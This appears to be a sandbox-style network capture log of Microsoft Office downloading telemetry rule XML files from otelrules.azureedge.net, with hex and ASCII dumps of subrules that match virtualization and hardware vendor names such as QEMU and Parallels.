2024-11-15 15:16:35 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.5	49899	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:35 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 15:16:35 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 15:16:35 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: f3ae074e-d01e-0082-62af-36e489000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T151635Z-16547b76f7f9s8x7hC1DFWywrg000000017000000000kbys x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 15:16:35 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.5	49900	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:35 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 15:16:35 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 15:16:35 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 2d5e3293-901e-002a-4f00-2d7a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T151635Z-16547b76f7fbkfmzhC1DFWm9tw000000012g00000000g42q x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 15:16:35 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.5	49902	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:36 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 15:16:36 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 15:16:36 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 93022022-f01e-00aa-73a0-368521000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T151636Z-164f84587bfffmgqhC1DFWk5ts00000001h000000000rmyv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 15:16:36 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.5	49901	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:36 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 15:16:36 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 15:16:36 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 818d7a8e-001e-005a-6101-36c3d0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T151636Z-1866b5c5fbbrf5vdhC1DFW64zw00000001hg00000000nnmu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 15:16:36 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.5	49903	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:36 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 15:16:36 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 15:16:36 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 767d9fc8-d01e-007a-76a1-36f38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T151636Z-164f84587bf5rpzqhC1DFWmra800000001g00000000061gh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 15:16:36 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.5	49904	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:36 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 15:16:36 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 15:16:36 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: da73b1ea-a01e-0070-5573-35573b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T151636Z-16547b76f7fcrtpchC1DFW52e80000000nbg00000000c7y8 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 15:16:36 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.5	49905	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:36 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 15:16:36 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 15:16:36 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 6b1971c7-b01e-0053-1140-36cdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T151636Z-16547b76f7fnlq8chC1DFWxnen000000018g00000000266p x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 15:16:36 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.5	49907	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:37 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 15:16:37 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 15:16:37 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 86fb44b9-501e-0078-06d2-2c06cf000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T151637Z-16547b76f7fhvzzthC1DFW557000000001n00000000069pu x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 15:16:37 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.5	49909	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:37 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 15:16:37 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 15:16:37 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 90f07e84-d01e-0028-2a09-377896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T151637Z-1866b5c5fbbrf5vdhC1DFW64zw00000001p000000000crpx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 15:16:37 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.5	49908	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:37 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 15:16:37 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 15:16:37 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: a49129a8-d01e-008e-6b2a-36387a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T151637Z-164f84587bf6h2bxhC1DFWbcm800000001rg000000000h7f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 15:16:37 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.5	49910	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:37 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 15:16:37 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 15:16:37 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 28ec3a41-801e-00a0-70af-362196000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T151637Z-16547b76f7fj5p7mhC1DFWf8w40000000nc000000000kvze x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 15:16:37 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.5	49911	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:37 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
